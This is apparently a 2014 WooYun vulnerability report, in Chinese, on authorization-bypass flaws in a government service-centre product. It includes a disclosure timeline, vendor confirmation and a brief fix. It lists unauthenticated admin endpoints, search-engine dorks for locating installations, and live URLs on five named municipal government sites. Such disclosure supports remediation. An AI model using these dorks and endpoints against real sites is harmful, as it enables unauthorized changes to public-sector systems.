漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-066231
漏洞标题：多政府在用的政府服务中心系统通用多处越权
相关厂商：cncert国家互联网应急中心
漏洞作者： sex is not show
提交时间：2014-07-09 18:11
修复时间：2014-10-07 18:12
公开时间：2014-10-07 18:12
漏洞类型：非授权访问/权限绕过
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-07-09： 细节已通知厂商并且等待厂商处理中
2014-07-14： 厂商已经确认，细节仅向厂商公开
2014-07-17： 细节向第三方安全合作伙伴开放
2014-09-07： 细节向核心白帽子及相关领域专家公开
2014-09-17： 细节向普通白帽子公开
2014-09-27： 细节向实习白帽子公开
2014-10-07： 细节向公众公开
简要描述：
多处越权操作，可恶意增删改
详细说明：
程序名称：人民政府服务中心
开发公司：深圳太极软件有限公司 （http://www.sztaiji.com/）
漏洞类型：未授权访问
漏洞文件：/view/manager/left.jsp
/menu/menuAction.action
/bgxz/bgxzAction_executeBack.action
/yhdl/yhdl_goChange.action
/tscz/backTsczAction_showList.action?type=1&isHuiFu=3
/tscz/backTsczAction_showList.action?type=2&isHuiFu=3
/tscz/tsczAction_backShowList.action?type=3&isHuiFu=3
/myddc/myddc_backIndex.action?currentPage=1
/view/com/tjsoft/module/admin/admin.jsp
/spdt/spdt_backListDeptContent.action
/view/com/tjsoft/module/bgxz/bgxz-index.jsp
是否需要登录：否
关键词：百度：inurl:indexAction.action
inurl:zxjbAction_showInfo.action?wid=
影响用户：百度收集
漏洞证明：
因为越权文件比较多，用不同站演示不同的点：
####案例1：
牡丹江市行政服务中心
http://www.mdjsp.gov.cn/view/manager/left.jsp
可直接访问管理菜单树：
http://www.mdjsp.gov.cn/menu/menuAction.action
可任意添加/修改菜单
###案例2：
丹东市行政服务中心
http://ddpas.dandong.gov.cn/bgxz/bgxzAction_executeBack.action
http://ddpas.dandong.gov.cn/yhdl/yhdl_goChange.action
直接访问修改密码
###案例3：
六盘水市人民政府政务服务中心
http://61.159.149.200/tscz/backTsczAction_showList.action
可回复、修改、删除
http://61.159.149.200/tscz/backTsczAction_viewTouShu.action
###实例4：
兴义市人民政府政务服务中心
http://zwzx.gzxy.gov.cn/myddc/myddc_backIndex.action?currentPage=1
满意度调查
http://zwzx.gzxy.gov.cn/view/com/tjsoft/module/admin/admin.jsp
###实例5：
贵州省安顺市人民政府政务服务中心
http://zwzx.anshun.gov.cn/view/com/tjsoft/module/bgxz/bgxz-index.jsp
修复方案：
权限控制
版权声明：转载请注明来源 sex is not show@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：11
确认时间：2014-07-14 11:14
厂商回复：
最新状态：
暂无